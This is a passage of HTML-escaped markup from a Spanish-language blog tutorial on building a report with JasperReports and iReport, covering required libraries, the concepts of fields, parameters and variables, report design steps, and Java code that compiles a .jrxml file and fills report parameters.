&lt;/span&gt;&lt;a href=&quot;about:blank&quot;&gt;&lt;span style=&quot;color: blue; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;http://jakarta.apache.org/commons/logging/&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style=&quot;list-style-type: disc; margin-left: -24px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Jakarta Commons Digester Component (versión 1.7 en adelante) &lt;/span&gt;&lt;a href=&quot;about:blank&quot;&gt;&lt;span style=&quot;color: blue; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;http://jakarta.apache.org/commons/digester/&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style=&quot;list-style-type: disc; margin-left: -24px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;iText - Free Java-PDF library by Bruno Lowagie and Paulo Soares (versión 2.1.7 en adelante) &lt;/span&gt;&lt;a href=&quot;about:blank&quot;&gt;&lt;span style=&quot;color: blue; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;http://www.lowagie.com/iText/&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/span&gt;&lt;/b&gt;&lt;/ul&gt;&lt;b id=&quot;internal-source-marker_0.6320756333880126&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Y obviamente la libreria respectiva de Jasper que la pueden encontrar en este &lt;/span&gt;&lt;a href=&quot;http://jasperforge.org/&quot;&gt;&lt;span style=&quot;color: blue; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;link&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;.&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;Con esto tenemos todo para generar un reporte, pero hay otra herramienta mas que facilita la creación del diseño del documento: &lt;/span&gt;&lt;a href=&quot;http://jasperforge.org/projects/ireport&quot;&gt;&lt;span style=&quot;color: blue; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;iReport&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;. &amp;nbsp;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;Luego de instalar correctamente iReport y tener todas las librerias en nuestro proyecto de prueba, ya podemos comenzar con el diseño del documento, pero antes hay que entender algunos conceptos.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;2) fields, parameters y variables.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Hay varios elementos &amp;nbsp;a utilizar con iReport, como por ejemplo: title, page footer, etc. Pero quiero hacer énfasis en estos 3 porque son los que más confusiones producen.&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Fields&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt; : Son campos en una tabla, es decir si realizas una consulta SQL, puedes utilizar lo que la consulta devuelva para popular valores en el reporte. Se referencian con F${nombreCampo}.&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Parameters&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;: Son objetos que pueden popularse mediante código. &amp;nbsp;Se referencian con P${nombreParametro}.&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Variables&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;: Son expresiones que son inherentes al reporte. Por ejemplo si necesitas tener la fecha en el que se genero el reporte a pie de página lo ideal sería usar una variable. Se referencian con V${nombreVariable}.&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;Entendiendo esto, se hace más fácil utilizar iReport ya sabiendo que elementos necesitas colocar en pantalla. &amp;nbsp;Por ejemplo, si no realizas ninguna query y tenes el datasource vacio en la configuración del reporte pero de igual manera utilizas un field para mostrar en pantalla el valor deseado, nunca se asignara el valor cuando lo popules mediante código.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;3) Diseñando el reporte.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Abrimos el iReport y clickeamos en Archivo-&amp;gt;new. Seleccionamos iReport y el diseño blank A4.&lt;br class=&quot;kix-line-break&quot; /&gt;Abrimos el iReport wizard y clickeamos siguiente ya que en este caso no utilizaremos consultas a una base de datos.&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;El iReport deberia estar de esta manera (o similar, dependiendo la version utilizada):&lt;/span&gt;&lt;img height=&quot;374px;&quot; src=&quot;https://lh4.googleusercontent.com/V92JET5rfPEot1OHuTowTBB6F0BXSJaJjz-rwTWKBm2NWY1PN6Hag8fCgddZkrlztWNO2z-02PbCx2CBtLxW385AhT8l2YuXvdKVpFmjp8bE_De7724&quot; width=&quot;588px;&quot; /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;Ahora procedemos a crear algunos textos estaticos, por ejemplo “Nombre”, “Edad”, etc. &lt;br class=&quot;kix-line-break&quot; /&gt;Para esto necesitamos visualizar la Paleta, asi que primero vamos a Ventana-&amp;gt;Paleta o presionamos ctrl + shift + 8.&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;Con la paleta activa, arrastramos algunos elementos “static text” al reporte y les ponemos el nombre que queramos, quedaria algo asi:&lt;/span&gt;&lt;img height=&quot;275px;&quot; src=&quot;https://lh6.googleusercontent.com/KLKu7cFS2412unxgfE_dpLOQNYZ8MjgkX0GGRMjfdPq1HdSbE4jOSvAMwyhyUuIPSv3TCPC4kZJEkfDvOBMHobt2MNmmNU8bL3AL7Fu0ouW2CzYCbAg&quot; width=&quot;589px;&quot; /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;A estos elementos podemos darle el formato que queramos y ponerle el texto que queramos. Cuando los elementos son del mismo tipo, pueden seleccionarse todos y modificar sus propiedades en la pestaña de propiedades a la derecha.&lt;br class=&quot;kix-line-break&quot; /&gt;Luego de de modificarle el nombre a cada elemento, también decidí asignarle la propiedad “underline” además de modificar un poco el tamaño:&lt;/span&gt;&lt;img height=&quot;289px;&quot; src=&quot;https://lh3.googleusercontent.com/9VvnGn2swwV_fjkTP_baVKX_fqkrhs1y6P87Z_HJPy1y8JayyWGc810PyA1AGU5aJSEPDsRPQRy_vK0uIYU-AfSWK2SDZHdof4TZgrgIe2ktJ9x-_bg&quot; width=&quot;521px;&quot; /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Ahora bien, esto es solo texto estático. Ahora necesitamos asignar los parámetros que van a recibir los valores, es decir, el combustible, la cantidad, y el responsable, para que el reporte pueda ser dinámico y generarse mediante código. En este caso utilizaremos los parameters. &lt;br class=&quot;kix-line-break&quot; /&gt;Hacemos click derecho en parameters y agregamos los 3 parámetros que vamos a utilizar, luego los arrastramos a la posición deseada en nuestro reporte:&lt;/span&gt;&lt;img height=&quot;259px;&quot; src=&quot;https://lh3.googleusercontent.com/NZ91Q3FEpPyu1VZtoTQGS5JlVKLjdhOFu3XZSQOp9IJN44cbm7pzz9s4OGsYPzLXvBegJ8KMvJ8Fb5fwvqUyPZL63YSscr2gXiE4Psr2qMHffVwW2sM&quot; width=&quot;509px;&quot; /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Cada elemento tiene infinidad de propiedades y en el caso de los elementos dinámicos –como los parameters- también permiten expresiones (del tipo, if x then y).&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;Por ahora dejaremos esto así y pasaremos al código, pero antes, click derecho a la izquierda en el elemento principal del árbol, es decir el que tiene el nombre del reporte, propiedades y modificar language a Java.&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;Ahora sí, algo de código:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;span style=&quot;font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;4) Compilando el reporte y populando parámetros:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;El código habla por sí solo más aun cuando esta comentado:&lt;/span&gt;&lt;span style=&quot;font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #7f0055; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;final&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt; String RUTA_JRXML &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;= &lt;/span&gt;&lt;span style=&quot;color: #2a00ff; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;C:/Users/matias.j.de.marco/Desktop/JasperTutorial/Report1.jrxml&quot;&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #7f0055; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;final&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt; String RUTA_JASPER &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;= &lt;/span&gt;&lt;span style=&quot;color: #2a00ff; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;C:/Users/matias.j.de.marco/Desktop/JasperTutorial/Report1.jasper&quot;&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #7f0055; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt; {&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;//&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Se&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;compila&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; el &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;jrxml&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;que&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;genera&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; el iReport. &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;//&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Esto&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;genera&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;un&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;archivo&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; .&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;jasper&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;JasperCompileManager.&lt;/span&gt;&lt;span style=&quot;font-style: italic; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;compileReportToFile&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;(RUTA_JRXML);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;} &lt;/span&gt;&lt;span style=&quot;color: #7f0055; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt; (JRException e) {&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;//&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Atrapa&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;la&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;excepción&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; y &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;manejala&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;correctamente&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;//&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Ahora&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;creamos&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;un&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;hashmap&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;que&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;tendra&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;los&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;valores&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; a &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;//&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;llenar&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;en&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; el &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;reporte&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;//nombreEniReport, valor&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Map&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt; pars = &lt;/span&gt;&lt;span style=&quot;color: #7f0055; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;HashMap&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;();&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;pars.put(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;combustible&quot;&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #2a00ff; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;Gas natural&quot;&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;pars.put(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;cantidad&quot;&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #2a00ff; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;1000&quot;&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: 